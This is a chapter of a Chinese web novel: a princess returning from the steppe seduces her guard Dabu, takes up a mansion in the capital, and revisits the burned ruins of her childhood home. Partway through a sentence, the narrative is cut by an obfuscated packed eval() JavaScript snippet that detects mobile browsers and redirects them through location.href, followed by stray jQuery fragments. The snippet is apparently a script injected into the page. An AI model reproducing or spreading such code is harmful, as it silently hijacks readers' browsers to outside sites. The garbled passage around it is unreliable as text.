达步一直候着，阿如知道他听到一些，歪在床踏上勾手叫他：“过来。”


    达步脸上表情精彩纷呈，看得阿如一阵好笑：“你是在想拼死逃出去给左将军送信揭露我身份呢还是被我灭口？你过来，我告诉你第三条路。”


    达步一脸警惕地慢慢走过来，阿如没耐心等，伸手勾住他腰带一拉，达步便歪倒在床榻之下，与阿如脸对着脸。


    抬手捏住他下巴，阿如问：“你知道我这几天为何处处带着你吧？”


    “知，知道，”达步不敢对视，但眼波往下是阿如微敞着的衣领，索性闭眼，“我是，是樊将军的替身。”


    暗笑此人颇有自知之明，阿如故意抬抬手，示意他睁开眼睛：“也对，也不对。我可从没说过你是樊缨的替身，你是与他相像，且我对你也有些好感，若你没有娘子，我便早收了你。可惜啊，你早早娶了妻。你是柳下惠，做不成樊将军。”


    “我……”


    达步正要说什么，阿如猛地丢开手，翻身朝里睡了：“明日还要赶路，早些睡。”


    达步的年纪并没有亲身经历过漠北那场浩劫，就算从父辈处听来一些，也没有感同身受的痛苦。所以他真正纠结的不是该不该告诉祖合热哈腾的真实身份，而是该怎么成为第二个樊缨。


    阿如面朝里躺着却清醒如常。


    她在等着达步做决定，此刻正如一个钓鱼人充满了期待：饵料抛出去了，能钓上来什么鱼呢？


    丢给达步的是一个巨大的诱惑，就看他更看重什么了。


    “公主……”


    约莫半盏茶，达步轻轻喊了一声，不是哈腾而是公主。


    阿如唇角微勾，她知道自己又赢了。


    故意不答，阿如闭眼听着他要做什么。


    达步靠近了些、坐上了床榻、大手轻轻盖在阿如起伏的腰间……


    这是这个男人交上来的答卷，至于答案对错，阿如还得批阅。


    无声转过头来，阿如看着他臊红的脸，问：“你知道你在做什么吗？”


    达步吓了一跳就要抽走手掌，阿如眼疾手快握住，并且引领着往上盖在自己胸口：“我可是不要有主的男人的。”


    她说话间眼神勾人，达步只觉被一盆火炭兜头浇下，烫得胡言乱语：“我，我可以休，休妻……”


    阿如终于看清了这个男人的成色，扯住他手臂猛地一拉，自己顺势翻身已经跨坐在他身上：“我当这世上真有不移不屈的好男人，哈哈哈，真是笑话！”


    这是真为那个素未谋面的女子喊冤，阿如冷笑不已：“休妻令其再嫁，家资牛羊你一个都不许留！”


    在达步看来，眼前的公主巧笑倩兮，还因自己成婚而醋意大发，身上心上都受用极了。犹如一股忍到极致的山泉，从未有过这样的兴奋，只沙哑着嗓子喊了一句公主，便本能地去寻找出口。


    第二日不得不去见宁王。


    距自己离开京都已经过去四年，城内一切都没有变，街市繁华依旧、摊贩叫卖依旧，甚至街角飘来的酱包香味也是记忆中的味道……


    变了的只有自己。


    四年前如柳絮飘萍般被人呼来喝去的送去和亲，如今再没有人敢不敬不跪。但这还不够，阿如还要为踏沙部正名，叫始作俑者付出代价。


    宁王叫鸿胪寺接见阿如，这是敬阿如漠北哈腾的身份，也是间接坐实阿如就是出降漠北的定国公主李云昭。


    他也知道漠北骑兵倘若南下，京都根本不堪一击的道理。


    阿如欣然接受。只要不用面对她那个假惺惺的父亲，一切都好说。


    给阿如的居所在皇城根下安仁坊，是孝闵皇帝李彰未登基时住过的宅子。里头仆役、管事一应俱全都按一品公主的品级配置，很是豪华阔气。


    没将自己安排进糟心的宁王府阿如还是满意的，里外里看了一圈，回头问那个管事模样的人：“你是宁王府的旧人？”


    管事的忙哈腰回话：“回公主的话，我们都是宫里裁撤了的，如今圣人西幸，王爷说宫里用不了那些个人，就往各府各衙分派出去。因我有幸与王爷说过几句话，这才有这福气来伺候公主。”


    竟是宫里的内侍。


    宁王这是料定了曹仙娥母子不可能再回来。


    阿如一副恍然大悟的样子：“原来如此，我说怎么看着面生。您怎么称呼？”


    管事的忙跪下：“哎呦公主您是王爷心尖尖儿上的人，快别拿老奴开心。能伺候您呀，您就叫我一声阿猫阿狗，我也开心。”


    “起来吧，”阿如简直恶寒，索性不问他了，转向另一个有些年纪的妇人，“你管什么？”


    妇人有些沉静气质，不似这内侍哈巴狗一般，微微欠身道：“公主您的衣裳妆奁，头面鞋履，一应穿戴都归我管。我姓李，这位是原伺候过林太妃的内总管元宝。”


    不但将自己交代清楚还捎带着这只哈巴狗，阿如会心一笑，鄙夷看向元宝：“往后这院子里李嬷嬷为总管，你，滚去外头管车架，没我的吩咐不许进内院。真是白瞎了这个喜庆名字。”


    接下来半个月，各路听也没听过的亲眷、好友、睦邻、同窗……流水似的来恭贺公主归京。阿如懒得应付这些，拉了达步驾车往城西南丽景门去。


    这里没有安仁坊那般富贵迷人眼，就是平常风景，反倒一舒阿如心中憋气。


    找了个临河的茶摊坐下，河上小榭里有人在咿呀唱什么，隔着水面听不真切。茶摊对面是家酒楼，隐隐有些酒香飘出来，酒楼招子上写着“牡丹春”三个字。


    阿如不由勾起旧事，招手叫那外头揽客的店小二，问：“名字倒好，怎么卖法？”


    店小二见阿如穿戴富贵，立刻笑颜如花：“娘子来着了，凡第一次光顾本店的客人，我们都免费奉上一小坛，您喝得满意了再买大坛。”


    这老板还真是个做生意的料。


    阿如不由点头：“那就按你们的规矩来。”


    不一会上来一个精致小坛，带两只精致耳杯，达步抢先斟上亲手递过来，阿如就在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187424|158003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他手里凑近了一闻。


    一股浓郁酒香混着果子香气一个劲往鼻子里钻，熏得阿如鼻子立刻就酸了，连眼眶也热热得红起来，正像喝醉了酒一般。


    达步以为酒味太冲了要拿走，阿如猛地双手拽住，贪恋地嗅湮在他手上的酒味。


    “别走……”


    达步吓了一跳，他从没有见过这样的阿如，红着眼，噙着泪，不像公主反而像一个害怕失去什么的孩子。


    “公主？”达步轻轻喊了一声，问，“您？”


    阿如那颗泪终究没落下来，就那样摇摇欲坠挂在长翘的眼睫上：“这酒太辣了。走吧，不合我胃口。”


    离开丽景门，阿如一直心情郁郁。也不坐车，达步便陪着走。


    “去买两坛吧，”走了有一段路了，阿如才像做出了什么决定似的强挤出一个笑，吩咐达步，“叫他们送到公主府来。”


    达步领命去了，阿如收起情绪，上车吩咐：“去敦化坊！”


    敦化坊在城东南角，几乎要由西往东贯穿全城，阿如隔窗看着，外头坊墙有高有低，所经里坊有贫有富，但无一例外的，都是为生计来回穿梭奔波的百姓。


    百姓们不知道都是谁打谁，不知道谁死了谁活着，甚至不知道外头发生了什么。于他们而言，谁坐上那个大位都是皇帝，是皇帝便效忠。能体恤百姓的皇帝，换来几句万岁，劳民暴政的皇帝，暗地里啐口唾沫已是顶天了的大逆不道。


    马车逐渐颠簸起来，外头元宝忙说：“公主，这段路十分不好走，您扶好了。”


    阿如挑帘看时，是一段残破的坊墙和坑洼不平的路。


    “停下！”阿如认得出，这就是敦化坊的坊墙，坊墙里就是东府巷，断壁残垣处还有几年前火吻的痕迹，地上的坑洞也是救火时挖出来的。


    执意下车步行，阿如推开元宝想扶他的手，凭着记忆往里走。


    当时只说东府巷着火，没想到火势之大连坊墙都烧断了。


    这样的大火，怎么可能还有人生还？


    果然，绕过坊墙就是一片碎石瓦砾，年久日深，人们已在碎石瓦砾上搭起简单的棚子居住。四面漏风处拿茅草席子捆扎遮挡，实在遮不住的就听天由命了。


    偏偏敦化坊还是京都地势最低的所在，雨雪一来全城的脏水都流到这里，高低不平的灰堆边一道道深浅不一的水沟，痕迹蜿蜒犹如丑陋肮脏的触手，伸进穷人们最后能蔽体的窝棚里。


    这样的火，恐怕神仙也难活。


    阿如竟无比庆幸陆氏丢下自己离开了，不然她也是这腌臜堆里丧命的亡魂。


    东府巷左进第三家，阿如默默数着，在一片杂草丛生的废墟前停住。那个自小长大的地方，如今连个遮风的棚子都没有。


    是了，能在废墟里搭个棚子住证明这家人还活着，杨从与后母母女都葬身火海，用不上了。


    阿如倒没什么触景生情的感伤，于她而言这里并不是一个值得怀念的地方，贪恋的不过是陆氏还在时那点模糊的记忆罢了。